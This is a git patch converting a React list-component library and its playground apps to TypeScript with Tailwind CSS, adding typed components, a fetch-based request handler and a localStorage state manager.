From bafe2908267536c12650cd87ec2f8b3974b54fa4 Mon Sep 17 00:00:00 2001 From: darshak-7span Date: Fri, 20 Mar 2026 18:51:44 +0530 Subject: [PATCH 1/7] Enhance playground and TypeScript setup: integrate Tailwind CSS, update dependencies, and add new components for improved list functionality. --- apps/playground-typescript/index.html | 14 + apps/playground-typescript/package.json | 29 + apps/playground-typescript/postcss.config.mjs | 6 + apps/playground-typescript/src/App.tsx | 6 + .../src/api/request-handler.ts | 87 +++ .../src/components/list-wrapper.tsx | 298 ++++++++ .../src/components/react-list.ts | 75 ++ apps/playground-typescript/src/index.css | 2 + apps/playground-typescript/src/main.tsx | 11 + apps/playground-typescript/tailwind.config.js | 8 + apps/playground-typescript/tsconfig.json | 16 + apps/playground-typescript/vite.config.ts | 7 + apps/playground/package.json | 10 +- apps/playground/postcss.config.js | 6 + .../src/components/list-wrapper.jsx | 654 ++++++++---------- apps/playground/src/index.css | 10 +- apps/playground/tailwind.config.js | 9 + packages/react-list/package.json | 21 +- .../react-list/src/components/attributes.jsx | 53 -- .../react-list/src/components/attributes.tsx | 87 +++ .../src/components/{empty.jsx => empty.tsx} | 6 +- .../src/components/{error.jsx => error.tsx} | 9 +- .../src/components/{go-to.jsx => go-to.tsx} | 20 +- .../src/components/initial-loader.jsx | 25 - .../src/components/initial-loader.tsx | 40 ++ .../src/components/{items.jsx => items.tsx} | 24 +- .../src/components/{list.jsx => list.tsx} | 94 ++- .../{load-more.jsx => load-more.tsx} | 14 +- packages/react-list/src/components/loader.jsx | 29 - packages/react-list/src/components/loader.tsx | 39 ++ .../{pagination.jsx => pagination.tsx} | 46 +- .../components/{per-page.jsx => per-page.tsx} | 48 +- .../components/{refresh.jsx => refresh.tsx} | 18 +- packages/react-list/src/components/search.jsx | 59 -- packages/react-list/src/components/search.tsx | 75 ++ .../components/{summary.jsx => summary.tsx} | 23 +- .../src/components/{utils.js => utils.ts} | 23 +- .../react-list/src/context/list-provider.jsx | 55 -- .../react-list/src/context/list-provider.tsx | 91 +++ .../react-list/src/{index.js => index.ts} | 22 + packages/react-list/src/types/index.ts | 22 + .../react-list/src/types/list-provider.ts | 156 +++++ packages/react-list/src/types/react-list.ts | 39 ++ .../react-list/src/{utils.js => utils.ts} | 0 packages/react-list/tsconfig.build.json | 18 + packages/react-list/tsconfig.json | 6 + pnpm-lock.yaml | 616 +++++++++++++++-- 47 files changed, 2303 insertions(+), 723 deletions(-) create mode 100644 apps/playground-typescript/index.html create mode 100644 apps/playground-typescript/package.json create mode 100644 apps/playground-typescript/postcss.config.mjs create mode 100644 apps/playground-typescript/src/App.tsx create mode 100644 apps/playground-typescript/src/api/request-handler.ts create mode 100644 apps/playground-typescript/src/components/list-wrapper.tsx create mode 100644 apps/playground-typescript/src/components/react-list.ts create mode 100644 apps/playground-typescript/src/index.css create mode 100644 apps/playground-typescript/src/main.tsx create mode 100644 apps/playground-typescript/tailwind.config.js create mode 100644 apps/playground-typescript/tsconfig.json create mode 100644 apps/playground-typescript/vite.config.ts create mode 100644 apps/playground/postcss.config.js create mode 100644 apps/playground/tailwind.config.js delete mode 100644 packages/react-list/src/components/attributes.jsx create mode 100644 packages/react-list/src/components/attributes.tsx rename packages/react-list/src/components/{empty.jsx => empty.tsx} (77%) rename packages/react-list/src/components/{error.jsx => error.tsx} (72%) rename packages/react-list/src/components/{go-to.jsx => go-to.tsx} (73%) delete mode 100644 packages/react-list/src/components/initial-loader.jsx create mode 100644 packages/react-list/src/components/initial-loader.tsx rename packages/react-list/src/components/{items.jsx => items.tsx} (64%) rename packages/react-list/src/components/{list.jsx => list.tsx} (81%) rename packages/react-list/src/components/{load-more.jsx => load-more.tsx} (71%) delete mode 100644 packages/react-list/src/components/loader.jsx create mode 100644 packages/react-list/src/components/loader.tsx rename packages/react-list/src/components/{pagination.jsx => pagination.tsx} (76%) rename packages/react-list/src/components/{per-page.jsx => per-page.tsx} (55%) rename packages/react-list/src/components/{refresh.jsx => refresh.tsx} (63%) delete mode 100644 packages/react-list/src/components/search.jsx create mode 100644 packages/react-list/src/components/search.tsx rename packages/react-list/src/components/{summary.jsx => summary.tsx} (72%) rename packages/react-list/src/components/{utils.js => utils.ts} (51%) delete mode 100644 packages/react-list/src/context/list-provider.jsx create mode 100644 packages/react-list/src/context/list-provider.tsx rename packages/react-list/src/{index.js => index.ts} (64%) create mode 100644 packages/react-list/src/types/index.ts create mode 100644 packages/react-list/src/types/list-provider.ts create mode 100644 packages/react-list/src/types/react-list.ts rename packages/react-list/src/{utils.js => utils.ts} (100%) create mode 100644 packages/react-list/tsconfig.build.json create mode 100644 packages/react-list/tsconfig.json diff --git a/apps/playground-typescript/index.html b/apps/playground-typescript/index.html new file mode 100644 index 0000000..fa41216 --- /dev/null +++ b/apps/playground-typescript/index.html @@ -0,0 +1,14 @@ + + + + + + + Vite + React (TypeScript) + + +
+ + + + diff --git a/apps/playground-typescript/package.json b/apps/playground-typescript/package.json new file mode 100644 index 0000000..3416511 --- /dev/null +++ b/apps/playground-typescript/package.json @@ -0,0 +1,29 @@ +{ + "name": "playground-typescript", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "vite build", + "typecheck": "tsc -p tsconfig.json --noEmit", + "preview": "vite preview" + }, + "dependencies": { + "@7span/react-list": "workspace:*", + "@iconify/react": "^5.2.1", + "react": "^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@tailwindcss/postcss": "^4.2.2", + "@types/react": "^19.0.10", + "@types/react-dom": "^19.0.4", + "@vitejs/plugin-react": "^4.3.4", + "autoprefixer": "^10.4.27", + "postcss": "^8.5.8", + "tailwindcss": "^4.2.2", + "typescript": "^5.9.3", + "vite": "^6.3.1" + } +} diff --git a/apps/playground-typescript/postcss.config.mjs b/apps/playground-typescript/postcss.config.mjs new file mode 100644 index 0000000..51a6e4e --- /dev/null +++ b/apps/playground-typescript/postcss.config.mjs @@ -0,0 +1,6 @@ +export default { + plugins: { + '@tailwindcss/postcss': {}, + autoprefixer: {}, + }, +}; diff --git a/apps/playground-typescript/src/App.tsx b/apps/playground-typescript/src/App.tsx new file mode 100644 index 0000000..92febc7 --- /dev/null +++ b/apps/playground-typescript/src/App.tsx @@ -0,0 +1,6 @@ +import ListWrapper from './components/list-wrapper'; + +export default function App() { + return ; +} + diff --git a/apps/playground-typescript/src/api/request-handler.ts b/apps/playground-typescript/src/api/request-handler.ts new file mode 100644 index 0000000..e6b611a --- /dev/null +++ b/apps/playground-typescript/src/api/request-handler.ts @@ -0,0 +1,87 @@ +import type { ReactListRequestArgs, ReactListResponse } from '@7span/react-list'; + +export type PlaygroundItem = { + id: number; + name: string; + status?: string; + date_updated?: string; + [key: string]: unknown; +}; + +type Filters = Record; + +const requestHandler = async ( + args: ReactListRequestArgs, +): Promise> => { + const { + endpoint, + page, + perPage, + search, + sortBy, + sortOrder, + filters, + meta, + } = args; + + const params = new URLSearchParams(); + + if (page && perPage) { + params.append('page', String(page)); + params.append('limit', String(perPage)); + } + + if (search) params.append('search', search); + + if (sortBy) { + params.append( + 'sort', + sortOrder === 'desc' ? `-${sortBy}` : sortBy, + ); + } + + if (filters && Object.keys(filters).length > 0) { + // Keep it simple for the playground. + for (const [key, value] of Object.entries(filters)) { + if (value === undefined || value === '') continue; + params.append(`filter[${key}][_eq]`, String(value)); + } + } + + // Example: meta support (not required by ReactList, just forwarded in args) + if (meta && typeof meta === 'object') { + // noop; you can add meta params here. + } + + const queryString = params.toString(); + const url = `https://everest.7span.in/items/${endpoint}${ + queryString ? `?${queryString}` : '' + }`; + + try { + const response = await fetch(url); + if (!response.ok) { + throw new Error(`API request failed: ${response.status}`); + } + const data: any = await response.json(); + + return { + items: (data.data ?? []) as PlaygroundItem[], + count: + data.meta?.total_count ?? + data.meta?.filter_count ?? + 0, + meta: data.meta ?? {}, + }; + } catch (error) { + return { + items: [], + count: 0, + meta: {}, + error: error instanceof Error ? error : undefined, + } as unknown as ReactListResponse; + } +}; + +export default requestHandler; + diff --git a/apps/playground-typescript/src/components/list-wrapper.tsx b/apps/playground-typescript/src/components/list-wrapper.tsx new file mode 100644 index 0000000..02e2641 --- /dev/null +++ b/apps/playground-typescript/src/components/list-wrapper.tsx @@ -0,0 +1,298 @@ +import { useMemo, useState } from "react"; + +import ReactList, { + ReactListEmpty, + ReactListError, + ReactListGoTo, + ReactListInitialLoader, + ReactListItems, + ReactListLoader, + ReactListPagination, + ReactListPerPage, + ReactListProvider, + ReactListSearch, + ReactListSummary, +} from "@7span/react-list"; + +import { Icon } from "@iconify/react"; + +import reactListOptions from "./react-list"; +import type { PlaygroundItem } from "../api/request-handler"; + +type Filters = Record; + +export default function ListWrapper() { + const [filters, setFilters] = useState({}); + const paginationMode = "pagination" as const; + + // Stable render-prop children for the search component. + const searchChildren = useMemo( + () => + ({ + search, + setSearch, + }: { + search: string; + setSearch: (value: string) => void; + }) => ( +
+ setSearch(e.target.value)} + placeholder="Search skills..." + className="w-full rounded-md border border-gray-200 bg-white px-3 py-2 text-sm text-gray-900 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" + /> +
+ ), + [], + ); + + return ( +
+
+ + +
+

+ React List TypeScript Playground +

+ +
+ {searchChildren} + + +
+
+ +
+ +
+
+
+ {[0, 1, 2, 3].map((i) => ( +
+ ))} +
+
+ + +
+
+ +
+
+ No data found +
+
+
+ + + {({ error }: { error: Error }) => ( +
+
+ +
+
{error.name}
+
{error.message}
+
+
+
+ )} +
+ + + {({ items }) => ( +
+ {items.map((item, idx) => { + const row = item as PlaygroundItem; + + return ( +
+
+
+ ID {row?.id} +
+ +
+ {row?.name} +
+ +
+ Updated:{" "} + {row?.date_updated + ? new Date( + row.date_updated, + ).toLocaleString() + : "-"} +
+
+ +
+ {row?.status ?? "-"} +
+
+ ); + })} +
+ )} +
+
+ +
+ + {({ isLoading }: { isLoading: boolean }) => + isLoading ? ( +
+ Loading... +
+ ) : null + } +
+
+
+ +
+
+ + {({ visibleCount, count }) => ( +
+ {visibleCount} results + {typeof count === "number" ? ` (total ${count})` : ""} +
+ )} +
+ +
+ + {({ perPage, setPerPage, options }) => ( + + )} + + + + {({ setPage, page, pagesCount }) => ( +
+ setPage(Number(e.target.value))} + className="w-20 rounded-md border border-gray-200 bg-white px-3 py-2 text-sm shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500" + /> + + of {pagesCount} + +
+ )} +
+ + + {({ + page, + pagesToDisplay, + hasPrev, + hasNext, + prev, + next, + first, + last, + setPage, + }) => ( +
+ + + + +
+ {pagesToDisplay.map((p) => ( + + ))} +
+ + + + +
+ )} +
+
+
+
+
+ + +
+
+ ); +} diff --git a/apps/playground-typescript/src/components/react-list.ts b/apps/playground-typescript/src/components/react-list.ts new file mode 100644 index 0000000..ed965c9 --- /dev/null +++ b/apps/playground-typescript/src/components/react-list.ts @@ -0,0 +1,75 @@ +import type { + ReactListProviderConfig, + ReactListRequestArgs, + ReactListResponse, + ReactListStateManager, +} from "@7span/react-list"; + +import requestHandler from "../api/request-handler"; +import type { PlaygroundItem } from "../api/request-handler"; + +type Filters = Record; + +const stateManagerKey = (endpoint: string, version: number) => + `react-list--${endpoint}--${version}`; + +const stateManager: ReactListStateManager = { + init(context: any) { + const { endpoint, version } = context; + const allKeys = `react-list--${endpoint}--`; + const latestKey = stateManagerKey(endpoint, version); + + const staleKeys = Object.keys(localStorage).filter( + (key) => key.startsWith(allKeys) && key !== latestKey, + ); + staleKeys.forEach((key) => localStorage.removeItem(key)); + }, + set(context: any) { + const { + endpoint, + version, + search, + page, + perPage, + sortBy, + sortOrder, + filters, + attrSettings, + } = context; + + const key = stateManagerKey(endpoint, version); + localStorage.setItem( + key, + JSON.stringify({ + search, + page, + perPage, + sortBy, + sortOrder, + filters, + attrSettings, + }), + ); + }, + get(context: any) { + const { endpoint, version } = context; + const key = stateManagerKey(endpoint, version); + + try { + const raw = localStorage.getItem(key); + if (!raw) return null; + return JSON.parse(raw) as any; + } catch { + return null; + } + }, +}; + +const config: ReactListProviderConfig = { + requestHandler: requestHandler as unknown as ( + args: ReactListRequestArgs, + ) => Promise>, + stateManager, +}; + +export default config; diff --git a/apps/playground-typescript/src/index.css b/apps/playground-typescript/src/index.css new file mode 100644 index 0000000..d1d9133 --- /dev/null +++ b/apps/playground-typescript/src/index.css @@ -0,0 +1,2 @@ +@import "tailwindcss"; +@source "../**/*.{js,jsx,ts,tsx}"; \ No newline at end of file diff --git a/apps/playground-typescript/src/main.tsx b/apps/playground-typescript/src/main.tsx new file mode 100644 index 0000000..0c5505f --- /dev/null +++ b/apps/playground-typescript/src/main.tsx @@ -0,0 +1,11 @@ +import { StrictMode } from "react"; +import { createRoot } from "react-dom/client"; + +import App from "./App"; +import "./index.css"; + +createRoot(document.getElementById("root")!).render( + + + , +); diff --git a/apps/playground-typescript/tailwind.config.js b/apps/playground-typescript/tailwind.config.js new file mode 100644 index 0000000..a117e69 --- /dev/null +++ b/apps/playground-typescript/tailwind.config.js @@ -0,0 +1,8 @@ +/** @type {import('tailwindcss').Config} */ +export default { + content: ["./index.html", "./src/**/*.{ts,tsx,jsx,js}"], + theme: { + extend: {}, + }, + plugins: [], +}; diff --git a/apps/playground-typescript/tsconfig.json b/apps/playground-typescript/tsconfig.json new file mode 100644 index 0000000..e034b35 --- /dev/null +++ b/apps/playground-typescript/tsconfig.json @@ -0,0 +1,16 @@ +{ + "compilerOptions": { + "target": "ES2022", + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "module": "ESNext", + "moduleResolution": "Bundler", + "jsx": "react-jsx", + "strict": true, + "skipLibCheck": true, + "noEmit": true, + "types": ["vite/client"], + "resolveJsonModule": true + }, + "include": ["src"] +} + diff --git a/apps/playground-typescript/vite.config.ts b/apps/playground-typescript/vite.config.ts new file mode 100644 index 0000000..f0c8be1 --- /dev/null +++ b/apps/playground-typescript/vite.config.ts @@ -0,0 +1,7 @@ +import { defineConfig } from 'vite'; +import react from '@vitejs/plugin-react'; + +export default defineConfig({ + plugins: [react()], +}); + diff --git a/apps/playground/package.json b/apps/playground/package.json index c903db3..90148b5 100644 --- a/apps/playground/package.json +++ b/apps/playground/package.json @@ -10,21 +10,25 @@ "preview": "vite preview" }, "dependencies": { + "@7span/react-list": "workspace:*", + "@iconify/react": "^5.2.1", "axios": "1.11.0", "react": "^19.0.0", - "react-dom": "^19.0.0", - "@iconify/react": "^5.2.1", - "@7span/react-list": "workspace:*" + "react-dom": "^19.0.0" }, "devDependencies": { "@eslint/js": "^9.22.0", + "@tailwindcss/postcss": "^4.2.2", "@types/react": "^19.0.10", "@types/react-dom": "^19.0.4", "@vitejs/plugin-react": "^4.3.4", + "autoprefixer": "^10.4.27", "eslint": "^9.22.0", "eslint-plugin-react-hooks": "^5.2.0", "eslint-plugin-react-refresh": "^0.4.19", "globals": "^16.0.0", + "postcss": "^8.5.8", + "tailwindcss": "^4.2.2", "vite": "^6.3.1" } } diff --git a/apps/playground/postcss.config.js b/apps/playground/postcss.config.js new file mode 100644 index 0000000..51a6e4e --- /dev/null +++ b/apps/playground/postcss.config.js @@ -0,0 +1,6 @@ +export default { + plugins: { + '@tailwindcss/postcss': {}, + autoprefixer: {}, + }, +}; diff --git a/apps/playground/src/components/list-wrapper.jsx b/apps/playground/src/components/list-wrapper.jsx index a74d603..c8600b0 100644 --- a/apps/playground/src/components/list-wrapper.jsx +++ b/apps/playground/src/components/list-wrapper.jsx @@ -1,3 +1,5 @@ +import { useMemo, useState } from 'react'; + import ReactList, { ReactListEmpty, ReactListError, @@ -10,416 +12,334 @@ import ReactList, { ReactListProvider, ReactListSearch, ReactListSummary, -} from "@7span/react-list"; +} from '@7span/react-list'; + +import { Icon } from '@iconify/react'; -import { Icon } from "@iconify/react"; -import { useState } from "react"; +import reactListOptions from './react-list'; -import reactListOptions from "./react-list"; +const STATUS_OPTIONS = [ + { label: 'All Status', value: '' }, + { label: 'Draft', value: 'draft' }, + { label: 'Published', value: 'published' }, + { label: 'Archived', value: 'archived' }, +]; -import "../app.css"; +const COLOR_OPTIONS = [ + { label: 'All Colors', value: '' }, + { label: 'Red', value: '#FF9900' }, + { label: 'Blue', value: '#FFEB0F' }, + { label: 'Green', value: '#F7DF1E' }, + { label: 'Yellow', value: '#5E24FF' }, +]; -const ListWrapper = () => { +export default function ListWrapper() { const [filters, setFilters] = useState({}); + const paginationMode = 'pagination'; + + const searchChildren = useMemo( + () => + ({ search, setSearch }) => ( +
+ setSearch(e.target.value)} + placeholder="Search skills..." + className="w-full rounded-md border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-100 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500/20" + /> +
+ ), + [], + ); + return ( -
-

React List Playground

- - -
-
- {/* */} - - {({ search, setSearch }) => ( -
- { - setSearch(e.target.value); - }} - placeholder="Search skills..." - className="search-input" - /> -
- )} -
-
-
-
-
- +
+
+
+

+ React List Playground (Tailwind) +

+ +
+ + +
+ {searchChildren} + -
- -
-
-
- -
- -
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
- {[...Array(5)].map((_, index) => ( -
-
-
-
-
-
+ {COLOR_OPTIONS.map((opt) => ( + ))} -
-
-
-
- -
-
-
-
- -
-
- -

No Data Found

- -

- We couldn't find any matching records. Try adjusting your - search or filters. -

+ - -
-
- - {({ error }) => ( -
-
- -
-

Something went wrong

-

- {error.message || - "An unexpected error occurred while fetching data."} -

-
-

- {error.name}: {error.message} -

-
-
- )} -
- - {({ items, sort, setSort }) => { - return ( -
- -
-
- + +
+
+
+ {[0, 1, 2, 3].map((i) => ( +
+ ))} +
+
+ + +
+ +
+
+ No data found
- - - - - - - - - - - - {items.map((item) => ( - - - - - - - ))} - -
ID - Name{" "} - - Status - Update At{" "} - -
{item.id}{item.name}{item.status} - {new Date(item.date_updated).toLocaleString()} -
-
- ); - }} - - {/* Footer */} -
-
-
- - {({ visibleCount }) => ( - - {visibleCount} Results - - )} - -
+ + {({ items }) => ( +
+ {items.map((item, idx) => { + const row = item ?? {}; + return ( +
+
+
+ ID {row.id} +
-
- Page Size: - - {({ perPage, setPerPage, options }) => ( -
- -
- +
+ {row.name} +
+ +
+ Updated:{' '} + {row.date_updated + ? new Date( + row.date_updated, + ).toLocaleString() + : '-'} +
+
+ +
+ {row.status ?? '-'} +
+
+ ); + })}
-
- )} - -
+ )} + -
- - {({ setPage, page, pagesCount }) => ( -
- Go to: - { - const page = Number(e.target.value); - setPage(page); - }} - className="page-input" - /> - of {pagesCount} -
- )} -
-
-
+ + {({ isLoading }) => + isLoading ? ( +
+ Loading... +
+ ) : null + } +
+
- - {({ - page, - pagesToDisplay, - hasNext, - hasPrev, - prev, - next, - first, - last, - setPage, - }) => ( -
- +
+
+ + {({ visibleCount, count }) => ( +
+ {visibleCount} results + {typeof count === 'number' + ? ` (total ${count})` + : ''} +
+ )} +
- +
+ + {({ perPage, setPerPage, options }) => ( + + )} + -
- {pagesToDisplay.map((item, index) => { - const isActive = item === page; + + {({ setPage, page, pagesCount }) => ( +
+ + setPage(Number(e.target.value)) + } + className="w-20 rounded-md border border-gray-700 bg-gray-900 px-3 py-2 text-sm text-gray-100 shadow-sm outline-none focus:border-indigo-500 focus:ring-2 focus:ring-indigo-500/20" + /> + + of {pagesCount} + +
+ )} +
- return ( - - ); - })} -
+ + {({ + page, + pagesToDisplay, + hasPrev, + hasNext, + first, + prev, + next, + last, + setPage, + }) => ( +
+ + - +
+ {pagesToDisplay.map((p) => ( + + ))} +
- + + +
+ )} +
+
+
- )} - -
+
+ +
- - +
+
); -}; +} -export default ListWrapper; diff --git a/apps/playground/src/index.css b/apps/playground/src/index.css index 08a3ac9..a50c033 100644 --- a/apps/playground/src/index.css +++ b/apps/playground/src/index.css @@ -1,3 +1,6 @@ +@import "tailwindcss"; +@source "../**/*.{js,jsx,ts,tsx}"; + :root { font-family: system-ui, Avenir, Helvetica, Arial, sans-serif; line-height: 1.5; @@ -18,6 +21,7 @@ a { color: #646cff; text-decoration: inherit; } + a:hover { color: #535bf2; } @@ -46,9 +50,11 @@ button { cursor: pointer; transition: border-color 0.25s; } + button:hover { border-color: #646cff; } + button:focus, button:focus-visible { outline: 4px auto -webkit-focus-ring-color; @@ -59,10 +65,12 @@ button:focus-visible { color: #213547; background-color: #ffffff; } + a:hover { color: #747bff; } + button { background-color: #f9f9f9; } -} +} \ No newline at end of file diff --git a/apps/playground/tailwind.config.js b/apps/playground/tailwind.config.js new file mode 100644 index 0000000..524f96e --- /dev/null +++ b/apps/playground/tailwind.config.js @@ -0,0 +1,9 @@ +/** @type {import('tailwindcss').Config} */ +export default { + content: ['./index.html', './src/**/*.{js,jsx,ts,tsx}'], + theme: { + extend: {}, + }, + plugins: [], +}; + diff --git a/packages/react-list/package.json b/packages/react-list/package.json index 7423430..6163710 100644 --- a/packages/react-list/package.json +++ b/packages/react-list/package.json @@ -5,12 +5,22 @@ "type": "module", "scripts": { "dev": "vite", - "build": "vite build", + "build": "vite build && pnpm run build:types", + "build:types": "tsc -p tsconfig.build.json", "lint": "eslint .", "preview": "vite preview", - "prepublishOnly": "npm run build" + "prepublishOnly": "pnpm run build" + }, + "main": "dist/react-list.cjs", + "module": "dist/react-list.js", + "types": "dist/types/index.d.ts", + "exports": { + ".": { + "types": "./dist/types/index.d.ts", + "import": "./dist/react-list.js", + "require": "./dist/react-list.cjs" + } }, - "main": "dist/react-list.js", "files": [ "dist" ], @@ -22,7 +32,10 @@ "react-dom": "^18.2.0 || ^19.0.0" }, "devDependencies": { + "@types/react": "^19.1.13", + "@types/react-dom": "^19.1.9", "@vitejs/plugin-react": "^4.3.4", + "typescript": "^5.9.3", "vite": "^6.3.1" } -} +} \ No newline at end of file diff --git a/packages/react-list/src/components/attributes.jsx b/packages/react-list/src/components/attributes.jsx deleted file mode 100644 index b3fc189..0000000 --- a/packages/react-list/src/components/attributes.jsx +++ /dev/null @@ -1,53 +0,0 @@ -import { memo, useCallback, useMemo } from "react"; -import { useListContext } from "../context/list-provider"; - -export const ReactListAttributes = memo(({ children, renderAttribute }) => { - const { listState } = useListContext(); - const { attrs, attrSettings, updateAttr } = listState; - - const handleAttrChange = useCallback( - (attrName) => (e) => { - updateAttr(attrName, "visible", e.target.checked); - }, - [updateAttr] - ); - - const scope = useMemo( - () => ({ - attrs, - attrSettings, - updateAttr, - }), - [attrs, attrSettings, updateAttr] - ); - - if (children) { - return children(scope); - } - - return ( -
- {attrs.map((attr, index) => { - if (renderAttribute) { - return renderAttribute({ - key: `attr-${index}`, - attr, - updateAttr, - attrSettings, - }); - } - - return ( - - ); - })} -
- ); -}); diff --git a/packages/react-list/src/components/attributes.tsx b/packages/react-list/src/components/attributes.tsx new file mode 100644 index 0000000..fa4e2d7 --- /dev/null +++ b/packages/react-list/src/components/attributes.tsx @@ -0,0 +1,87 @@ +import { memo, useCallback, useMemo } from "react"; +import { useListContext } from "../context/list-provider"; +import type { ReactListAttrSettings, ReactListAttribute } from "../types"; +import type { ChangeEvent, ReactNode } from "react"; + +type ReactListAttributesUpdateAttr = ( + attrName: string, + settingKey: string, + value: unknown, +) => void; + +type ReactListAttributesScope = { + attrs: ReactListAttribute[]; + attrSettings: ReactListAttrSettings; + updateAttr: ReactListAttributesUpdateAttr; +}; + +type ReactListAttributesRenderAttributeArgs = { + key: string; + attr: ReactListAttribute; + updateAttr: ReactListAttributesUpdateAttr; + attrSettings: ReactListAttrSettings; +}; + +type ReactListAttributesProps = { + children?: ReactNode | ((scope: ReactListAttributesScope) => ReactNode); + renderAttribute?: (args: ReactListAttributesRenderAttributeArgs) => ReactNode; +}; + +export const ReactListAttributes = memo( + ({ children, renderAttribute }: ReactListAttributesProps) => { + const { listState } = useListContext(); + const { attrs, attrSettings, updateAttr } = listState; + + const handleAttrChange = useCallback( + (attrName: string) => (e: ChangeEvent) => { + updateAttr(attrName, "visible", e.target.checked); + }, + [updateAttr], + ); + + const scope = useMemo( + () => ({ + attrs, + attrSettings, + updateAttr, + }), + [attrs, attrSettings, updateAttr], + ); + + if (typeof children === "function") { + return children(scope); + } + + if (children) return children; + + return ( +
+ {attrs.map((attr, index) => { + if (renderAttribute) { + return ( + + {renderAttribute({ + key: `attr-${index}`, + attr, + updateAttr, + attrSettings, + })} + + ); + } + + return ( + + ); + })} +
+ ); + }, +); diff --git a/packages/react-list/src/components/empty.jsx b/packages/react-list/src/components/empty.tsx similarity index 77% rename from packages/react-list/src/components/empty.jsx rename to packages/react-list/src/components/empty.tsx index 40dbeed..c97be07 100644 --- a/packages/react-list/src/components/empty.jsx +++ b/packages/react-list/src/components/empty.tsx @@ -1,7 +1,11 @@ import { memo } from "react"; import { useListContext } from "../context/list-provider"; -export const ReactListEmpty = memo(({ children }) => { +type ReactListEmptyProps = { + children?: React.ReactNode; +}; + +export const ReactListEmpty = memo(({ children }: ReactListEmptyProps) => { const { listState } = useListContext(); const { data: items, loader, error } = listState; const { isLoading, initialLoading } = loader; diff --git a/packages/react-list/src/components/error.jsx b/packages/react-list/src/components/error.tsx similarity index 72% rename from packages/react-list/src/components/error.jsx rename to packages/react-list/src/components/error.tsx index 957ad19..476b5d0 100644 --- a/packages/react-list/src/components/error.jsx +++ b/packages/react-list/src/components/error.tsx @@ -1,7 +1,14 @@ import { memo } from "react"; +import type { ReactNode } from "react"; import { useListContext } from "../context/list-provider"; -export const ReactListError = memo(({ children }) => { +type ReactListErrorProps = { + children?: + | ReactNode + | ((scope: { error: Error }) => ReactNode); +}; + +export const ReactListError = memo(({ children }: ReactListErrorProps) => { const { listState } = useListContext(); const { error, loader } = listState; const { isLoading } = loader; diff --git a/packages/react-list/src/components/go-to.jsx b/packages/react-list/src/components/go-to.tsx similarity index 73% rename from packages/react-list/src/components/go-to.jsx rename to packages/react-list/src/components/go-to.tsx index 361162b..a076d86 100644 --- a/packages/react-list/src/components/go-to.jsx +++ b/packages/react-list/src/components/go-to.tsx @@ -1,7 +1,21 @@ import { memo, useCallback, useMemo } from "react"; +import type { ReactNode } from "react"; import { useListContext } from "../context/list-provider"; -export const ReactListGoTo = memo(({ children }) => { +type ReactListGoToScope = { + setPage: (page: number, addContext?: Record) => void; + page: number; + pages: number[]; + pagesCount: number; +}; + +type ReactListGoToProps = { + children?: + | ReactNode + | ((scope: ReactListGoToScope) => ReactNode); +}; + +export const ReactListGoTo = memo(({ children }: ReactListGoToProps) => { const { listState } = useListContext(); const { data, count, pagination, setPage, loader, error } = listState; const { page, perPage } = pagination; @@ -42,8 +56,10 @@ export const ReactListGoTo = memo(({ children }) => { return (
- {children ? ( + {typeof children === "function" ? ( children(scope) + ) : children ? ( + children ) : ( handleChange(e.target.value)} - placeholder="Search..." - /> - )} -
- ); -}); diff --git a/packages/react-list/src/components/search.tsx b/packages/react-list/src/components/search.tsx new file mode 100644 index 0000000..0eb7d1c --- /dev/null +++ b/packages/react-list/src/components/search.tsx @@ -0,0 +1,75 @@ +import { memo, useEffect, useRef, useState } from "react"; +import type { ReactNode } from "react"; + +import { useListContext } from "../context/list-provider"; + +type ReactListSearchScope = { + search: string; + setSearch: (value: string) => void; +}; + +type ReactListSearchProps = { + debounceTime?: number; + children?: ReactNode | ((scope: ReactListSearchScope) => ReactNode); +}; + +export const ReactListSearch = memo( + ({ children, debounceTime = 500 }: ReactListSearchProps) => { + const { listState } = useListContext(); + const { search, setSearch } = listState; + + const [localSearch, setLocalSearch] = useState(search ?? ""); + const debounceTimerRef = useRef | null>(null); + + // Sync local state with context when the list search value changes. + useEffect(() => { + if (search !== localSearch) { + setLocalSearch(search ?? ""); + } + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [search]); + + const handleChange = (value: string) => { + setLocalSearch(value); + + if (debounceTimerRef.current) { + clearTimeout(debounceTimerRef.current); + } + + debounceTimerRef.current = setTimeout(() => { + setSearch(value); + }, debounceTime); + }; + + useEffect(() => { + return () => { + if (debounceTimerRef.current) { + clearTimeout(debounceTimerRef.current); + } + }; + }, []); + + const scope: ReactListSearchScope = { + search: localSearch, + setSearch: handleChange, + }; + + return ( +
+ {typeof children === "function" ? ( + children(scope) + ) : children ? ( + children + ) : ( + handleChange(e.target.value)} + placeholder="Search..." + /> + )} +
+ ); + } +); + diff --git a/packages/react-list/src/components/summary.jsx b/packages/react-list/src/components/summary.tsx similarity index 72% rename from packages/react-list/src/components/summary.jsx rename to packages/react-list/src/components/summary.tsx index 284da5c..a360b0a 100644 --- a/packages/react-list/src/components/summary.jsx +++ b/packages/react-list/src/components/summary.tsx @@ -1,7 +1,21 @@ import { memo, useMemo } from "react"; import { useListContext } from "../context/list-provider"; -export const ReactListSummary = memo(({ children }) => { +import type { ReactNode } from "react"; + +type ReactListSummaryScope = { + from: number; + to: number; + visibleCount: number; + count: number; +}; + +type ReactListSummaryProps = { + children?: ReactNode | ((scope: ReactListSummaryScope) => ReactNode); +}; + +export const ReactListSummary = memo( + ({ children }: ReactListSummaryProps) => { const { listState } = useListContext(); const { data, count, pagination, loader, error } = listState; const { page, perPage } = pagination; @@ -35,8 +49,10 @@ export const ReactListSummary = memo(({ children }) => { return (
- {children ? ( + {typeof children === "function" ? ( children(scope) + ) : children ? ( + children ) : ( Showing {summaryData.visibleCount} items ( @@ -48,4 +64,5 @@ export const ReactListSummary = memo(({ children }) => { )}
